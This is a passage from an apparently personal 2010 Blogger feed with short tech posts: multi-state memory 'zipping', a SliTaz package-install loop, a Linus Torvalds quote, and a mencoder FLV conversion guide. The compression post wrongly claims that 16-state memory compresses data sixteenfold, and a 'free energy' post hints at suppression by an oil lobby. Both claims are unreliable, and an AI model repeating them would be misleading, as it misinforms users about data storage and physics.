&lt;b&gt;= 59048&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6929373127566932977?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6929373127566932977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/how-many-numbers-can-you-count-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6929373127566932977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6929373127566932977'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/how-many-numbers-can-you-count-using.html' title='How many numbers can you count using one hand'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4656209283802374021</id><published>2010-11-21T18:37:00.000-08:00</published><updated>2010-11-22T00:05:42.824-08:00</updated><title type='text'>Multi-state machines and zipping</title><content type='html'>Machines with multiple states can help zip data to smaller sizes in drastic ways&lt;br /&gt;
&lt;br /&gt;
For example, let us take the first few characters in this line itself:&lt;br /&gt;
&lt;br /&gt;
Example characters considered:&lt;b&gt; For example&lt;/b&gt;&lt;br /&gt;
Hex of characters considered&amp;nbsp;&amp;nbsp; : &lt;b&gt;0x46 0x6f 0x72 0x20 0x65 0x78 0x61 0x6d 0x70 0x6c 0x65&lt;/b&gt; (including space)&lt;br /&gt;
Binary of all the numbers above:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;01000110 01101111 01110010 00100000 01100101 01111000 01100001 01101101 01110000 01101100 01100101&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Now let us combine 3 binary numbers above to produce an octal number using the rule below:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;0 0 0&amp;nbsp;&amp;nbsp;&amp;nbsp; 0&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;0 0 1&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;0 1 0 &amp;nbsp;&amp;nbsp; 2&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;0 1 1&amp;nbsp;&amp;nbsp;&amp;nbsp; 3&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;1 0 0&amp;nbsp;&amp;nbsp;&amp;nbsp; 4&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;1 0 1 &amp;nbsp;&amp;nbsp; 5&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;1 1 0&amp;nbsp;&amp;nbsp;&amp;nbsp; 6&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;1 1 1&amp;nbsp;&amp;nbsp;&amp;nbsp; 7&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In this way we would have unique octal numbers for each 3 binary numbers combined; Which means, we can get back the binary numbers if we know the octal number&lt;br /&gt;
&lt;br /&gt;
In our above example, we can combine the first 3 binary numbers to produce:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;01000110 01101111 01110010&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;b&gt;01000110&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/b&gt;&lt;b&gt;01101111&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/b&gt;&lt;b&gt;01110010&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 07312672&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Now imagine every &lt;b&gt;bit&lt;/b&gt; in a &lt;b&gt;byte&lt;/b&gt; having not one but&lt;b&gt; 8 states (multi state memory bits)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This would mean that the above number&amp;nbsp;&lt;b&gt;&amp;nbsp;&lt;/b&gt; &lt;b&gt;07312672 &lt;/b&gt;can be accomodated inside one single byte of memory space&lt;br /&gt;
&lt;br /&gt;
Which means you have successfully zipped 3 bytes of data to 1 byte of octal which is stored in a 8 state memory bit machine&lt;br /&gt;
&lt;br /&gt;
If you carry this on to say 16 state memory machine, then it can successfully compress data &lt;b&gt;16 times!&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Compressing data to 16 times means a normal 800MB CD would become 50MB!&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Here is an exerpt from &lt;a href="http://www.springerlink.com/content/4042014306435220/"&gt;&lt;b&gt;chinese science bulletin&lt;/b&gt;&lt;/a&gt;:&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; To meet the increasing need of multimedia storage,&lt;br /&gt;
many efforts have been made to develop storage tech-&lt;br /&gt;
nique with higher storage speed and higher storage den-&lt;br /&gt;
sity. Besides the traditional two-state (0 and 1) memory,&lt;br /&gt;
multi-state memory, which can store more than two&lt;br /&gt;
states in a memory cell, can improve the storage density&lt;br /&gt;
and may become the next generation storage technique.&lt;br /&gt;
Materials for multi-state memory media have multi sta-&lt;br /&gt;
ble physical states and these states can be sensed by cer-&lt;br /&gt;
tain physical properties, such as resistance of GST in&lt;br /&gt;
multi phases[1] or magnetoresistance in multilayer tunnel&lt;br /&gt;
junction with multi spin states[2]. Such multi-state mem-&lt;br /&gt;
ory materials are rare in nature and need a further&lt;br /&gt;
search&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Did I say multiple state virtual machines!&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4656209283802374021?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4656209283802374021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/multi-state-machines-and-zipping.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4656209283802374021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4656209283802374021'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/multi-state-machines-and-zipping.html' title='Multi-state machines and zipping'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4258939493778449926</id><published>2010-11-21T00:46:00.001-08:00</published><updated>2010-11-21T00:47:45.532-08:00</updated><title type='text'>Nicola Tesla, a man far beyond his time</title><content type='html'>&lt;a href="http://www.youtube.com/watch?v=gasJlVmewCI&amp;amp;feature=related"&gt;http://www.youtube.com/watch?v=gasJlVmewCI&amp;amp;feature=related&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4258939493778449926?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4258939493778449926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/nicola-tesla-man-far-beyond-his-time.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4258939493778449926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4258939493778449926'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/nicola-tesla-man-far-beyond-his-time.html' title='Nicola Tesla, a man far beyond his time'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7645871263712460172</id><published>2010-11-17T21:39:00.000-08:00</published><updated>2010-11-17T21:39:03.713-08:00</updated><title type='text'>The 200 line linux kernel patch that does wonders</title><content type='html'>&lt;a href="http://www.phoronix.com/scan.php?page=article&amp;amp;item=linux_2637_video"&gt;Read this&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This is what Linus had to say about this:&lt;br /&gt;
&lt;br /&gt;
Yeah. And I have to say that I'm (very happily) surprised by just how  small that patch really ends up being, and how it's not intrusive or  ugly either.&lt;br /&gt;
&lt;br /&gt;
I'm also very happy with just what it does to interactive performance.  Admittedly, my "testcase" is really trivial (reading email in a  web-browser, scrolling around a bit, while doing a "make -j64" on the  kernel at the same time), but it's a test-case that is very relevant for  me. And it is a _huge_ improvement.&lt;br /&gt;
&lt;br /&gt;
It's an improvement for things like smooth scrolling around, but what I  found more interesting was how it seems to really make web pages load a  lot faster. Maybe it shouldn't have been surprising, but I always  associated that with network performance. But there's clearly enough of a  CPU load when loading a new web page that if you have a load average of  50+ at the same time, you _will_ be starved for CPU in the loading  process, and probably won't get all the http requests out quickly  enough.&lt;br /&gt;
&lt;br /&gt;
So I think this is firmly one of those "real improvement" patches. Good  job. Group scheduling goes from "useful for some specific server loads"  to "that's a killer feature".&lt;br /&gt;
&lt;br /&gt;
Linus&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7645871263712460172?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7645871263712460172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/200-line-linux-kernel-patch-that-does.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7645871263712460172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7645871263712460172'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/200-line-linux-kernel-patch-that-does.html' title='The 200 line linux kernel patch that does wonders'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-5504030306715022511</id><published>2010-11-17T21:27:00.000-08:00</published><updated>2010-11-17T22:17:04.705-08:00</updated><title type='text'>cooking with slitaz-cooking</title><content type='html'>export http_proxy=&lt;proxy server=""&gt;"proxy server":"proxy port"&lt;br /&gt;
&lt;proxy port=""&gt; &lt;/proxy&gt;&lt;/proxy&gt;&lt;br /&gt;
for iter in vlc mplayer virtualbox-ose firefox libcrypto libssl pidgin socat nmap java-jre feh perl python ruby rubygems wget gnumeric abiword xlockmore recordmydesktop get-flash-plugin esound&lt;br /&gt;
do&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; tazpkg get-install $iter&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
Desktop setup done in slitaz&lt;br /&gt;
&lt;br /&gt;
More on slitaz &lt;a href="http://www.linux.com/archive/feature/140573?theme=print"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-5504030306715022511?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/5504030306715022511/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/cooking-with-slitaz-cooking.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5504030306715022511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5504030306715022511'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/cooking-with-slitaz-cooking.html' title='cooking with slitaz-cooking'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1161842748954776343</id><published>2010-11-16T02:44:00.000-08:00</published><updated>2010-11-20T06:07:43.043-08:00</updated><title type='text'>Free Energy if you think</title><content type='html'>&lt;a href="http://www.youtube.com/watch?v=KwSWdD9T6Q4"&gt;Salt water battery (experiment done at home)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.youtube.com/watch?v=bza5MkoQBFc"&gt;Whats minimum that is needed to power up an LED (experiment at home)&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.youtube.com/watch?v=8skhtHUZ5QE"&gt;Vinegar and Salt Battery&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.youtube.com/watch?v=6ZfsWwrivec&amp;amp;feature=fvw%20"&gt;Salt Water Battery&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Research in this area might make it still better, or may be really turn our energy industry upside down, but there is something called oil mafia (or named properly, energy lobbies)&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.free-energy-info.co.uk/"&gt;Read this article&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
and&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.scheidig.de/English/Experimente/HumanAsConductor/Experiment_HumanAsConductor.htm"&gt;This&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1161842748954776343?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1161842748954776343/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/free-energy-if-you-think.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1161842748954776343'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1161842748954776343'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/free-energy-if-you-think.html' title='Free Energy if you think'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4679698074672818410</id><published>2010-11-16T01:59:00.000-08:00</published><updated>2010-11-16T01:59:13.486-08:00</updated><title type='text'>Linux completely running from RAM</title><content type='html'>&lt;a href="http://www.slitaz.org/en/"&gt;Slitaz&lt;/a&gt; is a good linux distro&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Features:&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
1. Runs completely from RAM; Even applications run from RAM&lt;br /&gt;
2. Faster&lt;br /&gt;
3. Small in size (Total Installation Disk is =~ 30MB in size)&lt;br /&gt;
4. Many packages available in supporting ISO (about 2612 packages available)&lt;br /&gt;
5. Light Window Manager used&lt;br /&gt;
6. Stripped down linux kernel (about 2.3 MB)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4679698074672818410?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4679698074672818410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/linux-completely-running-from-ram.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4679698074672818410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4679698074672818410'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/linux-completely-running-from-ram.html' title='Linux completely running from RAM'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7594042043475621494</id><published>2010-11-09T18:49:00.000-08:00</published><updated>2011-02-22T08:01:33.661-08:00</updated><title type='text'>mencoder convert AVI to FLV (Macromedia Flash) format example</title><content type='html'>Many a times, we find that the commands that are used to convert files from one format to another are very difficult to understand; After reading through articles in the internet, the following brief description of commands and terms used has been written: &lt;br /&gt;
&lt;br /&gt;
The command and description of arguments are below:&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Command:&lt;/u&gt;&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;mencoder -forceidx -of lavf -oac mp3lame -lameopts abr:br=56 -srate 22050 -ovc lavc -lavcopts vcodec=flv -o vcd_5.flv vcd_5.avi
&lt;/pre&gt;&lt;u&gt;Some terms:&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Codec: A device or computer program capable of encoding and/or decoding a digital data stream or signal&lt;br /&gt;
&lt;br /&gt;
Container: One or more video or audio codecs combined in a group&lt;br /&gt;
&lt;br /&gt;
Mencoder supports the following containers:&lt;br /&gt;
&lt;br /&gt;
&lt;table border="1"&gt;&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Container format name&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;lavf&lt;/td&gt;&lt;td&gt;one of the containers supported by   &lt;code class="systemitem"&gt;libavformat&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;avi&lt;/td&gt;&lt;td&gt;Audio-Video Interleaved&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;mpeg&lt;/td&gt;&lt;td&gt;MPEG-1 and MPEG-2 PS&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;rawvideo&lt;/td&gt;&lt;td&gt;raw video stream (no muxing - one video stream only)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;rawaudio&lt;/td&gt;&lt;td&gt;raw audio stream (no muxing - one audio stream only)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt; &lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
libavformat: It is one of the containers supported by mencoder to encode to a lot of video and audio formats&lt;br /&gt;
&lt;br /&gt;
Codecs supported by libavformat container (given using -lavcopts vcodec= option in the command above:&lt;br /&gt;
&lt;br /&gt;
&lt;table border="1"&gt;&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Video codec name&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;mjpeg&lt;/td&gt;&lt;td&gt;Motion JPEG&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ljpeg&lt;/td&gt;&lt;td&gt;lossless JPEG&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;jpegls&lt;/td&gt;&lt;td&gt;JPEG LS&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;targa&lt;/td&gt;&lt;td&gt;Targa image&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;gif&lt;/td&gt;&lt;td&gt;GIF image&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;bmp&lt;/td&gt;&lt;td&gt;BMP image&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;png&lt;/td&gt;&lt;td&gt;PNG image&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;h261&lt;/td&gt;&lt;td&gt;H.261&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;h263&lt;/td&gt;&lt;td&gt;H.263 &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;h263p&lt;/td&gt;&lt;td&gt;H.263+&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;mpeg4&lt;/td&gt;&lt;td&gt;ISO standard MPEG-4 (DivX, Xvid compatible)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;msmpeg4&lt;/td&gt;&lt;td&gt;pre-standard MPEG-4 variant by MS, v3 (AKA DivX3)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;msmpeg4v2&lt;/td&gt;&lt;td&gt;pre-standard MPEG-4 by MS, v2 (used in old ASF files)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;wmv1&lt;/td&gt;&lt;td&gt;Windows Media Video, version 1 (AKA WMV7)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;wmv2&lt;/td&gt;&lt;td&gt;Windows Media Video, version 2 (AKA WMV8)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;rv10&lt;/td&gt;&lt;td&gt;RealVideo 1.0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;rv20&lt;/td&gt;&lt;td&gt;RealVideo 2.0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;mpeg1video&lt;/td&gt;&lt;td&gt;MPEG-1 video&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;mpeg2video&lt;/td&gt;&lt;td&gt;MPEG-2 video&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;huffyuv&lt;/td&gt;&lt;td&gt;lossless compression&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ffvhuff&lt;/td&gt;&lt;td&gt;FFmpeg modified huffyuv lossless&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;asv1&lt;/td&gt;&lt;td&gt;ASUS Video v1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;asv2&lt;/td&gt;&lt;td&gt;ASUS Video v2&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ffv1&lt;/td&gt;&lt;td&gt;FFmpeg's lossless video codec&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;svq1&lt;/td&gt;&lt;td&gt;Sorenson video 1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;flv&lt;/td&gt;&lt;td&gt;Sorenson H.263 used in Flash Video&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;flashsv&lt;/td&gt;&lt;td&gt;Flash Screen Video&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;dvvideo&lt;/td&gt;&lt;td&gt;Sony Digital Video&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;snow&lt;/td&gt;&lt;td&gt;FFmpeg's experimental wavelet-based codec&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;zmbv&lt;/td&gt;&lt;td&gt;Zip Motion Blocks Video&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;dnxhd&lt;/td&gt;&lt;td&gt;AVID DNxHD&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
Muxing: Multiplexing of video streams to output files of specific container format type (such as libavformat)&lt;br /&gt;
&lt;br /&gt;
Muxer: A software that does multiplexing/demultiplexing of video streams&lt;br /&gt;
&lt;br /&gt;
In the example above, libaviformat is used to do the muxing of output file&lt;br /&gt;
&lt;br /&gt;
Macromedia Flash: Usually the format suitable for playback in web browsers using flash plugins; The format in which youtube.com or video.google.com videos are played in browsers&lt;br /&gt;
&lt;br /&gt;
AVI Index: It is a time index which helps in forwarding/fast forwarding and selecting any time reference to play an AVI video from&lt;br /&gt;
&lt;br /&gt;
If index is not built, then it is not possible to play it in some video players such as the ones inside LCD TVs etc&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Description of arguments:&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;-forceidx 

Force index rebuilding

-of lavf

Output format, default is AVI 
&lt;/pre&gt;The following are some example containers (taken from the man page of mencoder):&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;-of avi
&amp;nbsp;Encode to AVI.
-of mpeg
&amp;nbsp;Encode to MPEG (also see -mpegopts).
-of lavf
&amp;nbsp;Encode with libavformat muxers (also see -lavfopts).
&amp;nbsp;or Encode to one of the formats supported by the libaviformat container
-of rawvideo
&amp;nbsp;raw video stream (no muxing - one video stream only)
-of rawaudio
&amp;nbsp;raw audio stream (no muxing - one audio stream only)

-lavfopts vcodec=flv
&lt;/pre&gt;&lt;br /&gt;
The video codec (belonging to libaviformat container) to use, while converting video&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;-oac mp3lame
&lt;/pre&gt;Encode to mp3 using LAME encoder (http://lame.sourceforge.net/)&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;-lameopts abr:br=56 
&lt;/pre&gt;LAME Options to use&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;abr = average bitrate
br&amp;nbsp; = bitrate

-srate 22050
&lt;/pre&gt;&lt;br /&gt;
Output sample rate to use for audio&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;-o 

Output file name
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7594042043475621494?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7594042043475621494/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/mencoder-convert-avi-to-flv-format.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7594042043475621494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7594042043475621494'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/11/mencoder-convert-avi-to-flv-format.html' 